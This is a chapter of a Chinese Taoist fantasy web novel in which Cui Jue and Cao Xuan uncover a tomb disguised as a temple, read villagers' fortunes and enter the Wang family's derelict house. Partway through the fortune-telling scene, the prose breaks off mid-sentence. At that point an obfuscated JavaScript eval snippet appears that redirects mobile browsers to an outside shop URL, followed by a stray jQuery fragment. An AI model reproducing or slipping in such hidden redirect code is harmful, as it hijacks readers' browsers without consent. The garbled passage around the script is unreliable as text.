身后阴风涌动,崔珏光是站在门外就感觉气氛不对。
浔阳崔氏本就以风水起家,崔珏虽没做过法事,但其中的门道他知道的可一点都不少。他在旁边看了看,忽然走到樟树下。在东南西北四个方位各自走了一遍。每一次都是正好十六步停下。
十六步,四个四。
道教分阴阳,数本无凶吉,奈何有避讳。
四这个数字为纯阴之数,俗话说的好,神三鬼四。如果一次十六步,他还可认为是无心之过。但四个四,那一定是有人故意为之。
崔珏抬头看向樟树,树生得倒是郁郁葱葱,树冠呈圆形,而底下的坛为方形,对应天圆地方。崔珏的目光移向了门两侧未点燃过的蜡烛,心中生了个念头,难不成这是座坟墓?
曹玄在里面转了一圈,并没有什么发现。整个观内除了三座未完成的塑像,当真是空得不得了,曹玄从没见过这样的观。但这么空的观,竟然也敢供三位神仙?
头顶的云散开,此时已到深夜,天空反而明亮起来。曹玄迈过门槛,见崔珏不在,心头一滞。
“崔珏?”
“后面。”
曹玄立刻翻过墙绕到背后去找他,见他捏着符纸躬身在墙上认着什么东西。
“你在干什么?”
“看看这是什么字。”
墙上有几行小字,未上色,又因为是后墙,根本不会有人注意到。但只要能注意到,必然会认出这其实是一座碑。
曹玄退后几步,走到侧面去。见后墙高、前墙低,中间鼓出来一块圆圆的顶——树顶,这还能是什么东西?这也不能够是别的东西了。
曹玄嘴角微勾,“够邪门。”
“你说什么人会建这种东西呢?这可是道观。建成以后要被别人来参拜供奉的,人死后不是应该求安宁吗?怎么反倒一副宴请八方的样子?”崔珏也是头一回见这种事,他不由得走到后墙继续去看,想找点什么东西出来。
“如果这人是自然逝去且没作恶多端,当然会像你说的那样。可要是相反的,那就说不准了。”
墙上故意隐去了姓名,崔珏瞧了好一阵也不知道是谁。困意上来,崔珏转身就走:“我们暂且先回去吧。”
曹玄冷笑道:“你还真是冲在兴头做事。”
“非也非也。”崔珏微微一笑,“我们今天制服了一只鬼怪,度化了六十四只半阴魂,还发现了这座怪异的道观。”说着,崔珏得意地摊开了双手。
“这个道观你打算怎么办?”
“当然是得拆掉,这根本不是什么正儿八经的道观。我家本来就和各地宫观庙联络颇多,这样损人阴德的东西建在浔阳崔氏的地盘上,传出去,骂声多高可想而知。但在拆之前,我要知道这是谁建的。”崔珏打了个哈欠,转身朝医馆奔去。
等曹玄洗漱回来时,崔珏已经睡得四仰八叉。这里没有多余的房间,他和崔珏只能睡一张床。虽然从前不是没睡过一张床,但是两人这么大了,再睡同一张床总归是不好的。
曹玄将崔珏推到里面去,脱鞋,安静地躺下。好在崔珏是个睡相老实的,除了开始的时候嘟囔几句,后面也就和只猪没区别了。
曹玄脑中总是想着一些事,很多事他不能说出来,却未必不想,那种紧迫感始终萦绕在他心头。曹玄侧头看了一眼窗外的树,闭眼睡去。
崔珏醒来时床侧已没有人,他精神涣散地从包里翻出校服来穿。这回出行他带的衣服并不多,只能轮着穿了。
铜镜里照出自己的脸,崔珏像丢了魂似的拿过黑带将头发绑了起来。待整装完毕后他才走出小院,正好撞上买菜回来的曹玄,崔珏摆摆手跑过去揽住他的肩,“曹公子,你真是体贴非常啊!赘来我们崔氏很合适啊。”
崔曹两家作为当今世界上的红门世家,其厉害之处必不用多说。江湖局势本就暗流涌动,若两个世家真结为亲家,称霸南方岂非难事?
“当你崔氏是什么香饽饽么。”曹玄甩开崔珏进了厨房。
崔珏舒适地躺在藤椅上,日光不甚,照在身上可谓是十分舒服了。他决定吃完饭就去打听打听那道观是谁建的,顺便算算城中哪块位置好,如果要建新观的话刚好能用上。正这么想着,馆外忽然传来几道人声。
“听说浔阳少主来了虔州。”
“当真么?他怎么会来到这里!”
“你们为何如此激动?他来到这里有什么好处吗?”
崔珏从藤椅上坐起来,本以为他们会说个惊天动地的大事。却没想到对方下一句是:“当然是让他给我们算命,浔阳崔氏不就是算命的吗?”
“算命?万一命不好你接的住吗?”
“我呸,你的命才不好!”话落,门被推开。
院中的少年生得极为俊丽,长眉杏眼,似雾意浓,颜色非常!他身着黄色直袖大襟内搭紫色交领长衫,外套浅杏色莲纹半袖,袖口戴有黑色护腕。腰封宽大,以绶带束之。左侧佩玉,右侧佩香囊,谁见了不说一句金贵。
崔珏试探性地打了个招呼:“你们好?”
几人你看我我看你,刚才争先恐后的劲烟消云散。
一位身材瘦弱的男子拱手作揖道:“请问您是浔阳少主吗?”
崔珏回礼,“不是。”
“那您知道浔阳少主现在在哪么?”
崔珏回头去看从厨房里走出来的曹玄,对方一手端一碗菜,被他这眼神看得莫名其妙。
“你看我做什么?”
崔珏抬手一指,“他就是崔珏。”
众人的目光纷纷投向这个身穿黑衣的男子,语气迟疑:“真的假的?传言浔阳少主喜好艳丽颜色,这怎么一身黑……”
曹玄常服多为暗色,他最讨厌有人指指点点他的衣品了,抬脚将地上的石子踢到崔珏的面前去,“崔珏,找死!”
一行人坐在大厅里,原本崔珏准备找个借口将这群人送走的,谁知道曹玄竟然让他们留下来吃饭。
崔珏点名其中一个男人,“就你了,我先给你算命吧。”
所谓算命,并不是要算出这个人是否有大富大贵之命,而是看看有什么灾厄祸端,提早预防。
再者,这个世界上大多数人的命根本没什么好算的,难不成八字好就一定大有可为?八字不好就一定无所事事?
他崔珏出生时,云游道人给他算的命是:六亲缘浅,得道成仙。这不是一个也没中吗?
崔珏心中吸了口气,问过八字后又看起男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781550|210116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的面相来,“你官印得地,容易取得功名;但嗣宫式微,后代人丁不旺。”
男人闻言眉头都皱了起来,“那这到底是好还是不好啊?”
“命格这个东西,其实没有好与不好。巧言令色,好的能说成坏的,坏的也能说成好的。”
话落,崔珏又点了一位男人,“我看你眉头紧蹙,印堂悬针,最近是遇到了什么难事么?”
“实不相瞒,我自从参与修缮城西那座新观后,夜晚常常难以入睡。每每闭上眼,脑袋里总是有各种杂声,呼吸都变得困难。”
“修多久了?”
“有几年了吧。”
“你知道这位商贾叫什么吗?”
“似乎姓王,自从他们从虔州搬走后,很久都没人见过他们人了。”
“他们是什么时候搬走的你知道吗?”
“好像是婚事结束后吧。你说哪有人刚结婚就搬走的?不知道的以为逃命呢。”
“那派你们去修建新观的王家人,你有没有见过?”
“没有,我们之间一直是书信来往,就连工钱也是放在信里一并给了。”
-
一连几日,崔珏沿街问了许多王家之事。说什么的都有,有的今天是这个说法,明儿就换了一个。崔珏将这些说法汇到一起,最后只得出一个结论:王家不简单。
乌云散去,曹玄锁好门追上崔珏。头顶上几声乱七八糟的鸟叫声,听着极为瘆人。
二人走到一家门楣气阔的人家前,门口没有小厮,只有两盏随风晃荡的竹灯笼。
曹玄扬脚将门踹开,原来那门外表崭新,而背面早就被腐蚀,薄得如一张纸,不堪一击。
“不觉得玄乎吗?谁家修建新观从不露面的?”
“这屋子如此破败,应该很久没人回来过了。”曹玄随意地挥了挥眼前弥漫的灰尘。
院子里黑漆漆的,叶子杂草堆了一地。无论是谁返乡能不回家吗?那回了家难道会不开荒?收拾一番?想想也不可能。
除非这个人没回来过。
可是那个男人又说他收到了信件和工钱。
崔珏手里的灯笼不知什么时候被曹玄拿了过去,他斜靠在门边,见曹玄顺着方向将周围的灯笼全都点亮了,一时不知道该说什么。
右侧有一条看不到尽头的长廊,长廊两侧挂满了灯笼,阴恻恻的。
曹玄终于点完了他能看见的灯,他走到崔珏面前,“灯笼还要吗?”
虽然周围已经点了灯,但毕竟是黑夜。崔珏说要,可这灯笼也没到他手上。二人并肩步入长廊,一路上都能听见鬼哭狼嚎声。
崔珏心中腹诽:这地也太过邪门,明日便飞书调弟子来整治一番。但转念一想,调弟子前要先知会他大哥,大哥知道他跑出浔阳了还不得罚死他?
正徘徊两难中,曹玄停下来,拍了拍崔珏,“那个女人在看你。”
普天之下,看崔珏的女人多了去了。但若是在这里,那就不是一回事了。崔珏僵硬地转过头去,十步之外的地方果真有一妇人。
那女人衣着整洁,看起来很年轻,见到两人也不害怕,像是早就在这里候着他们似的。
崔珏道:“你是谁?为什么在这里?”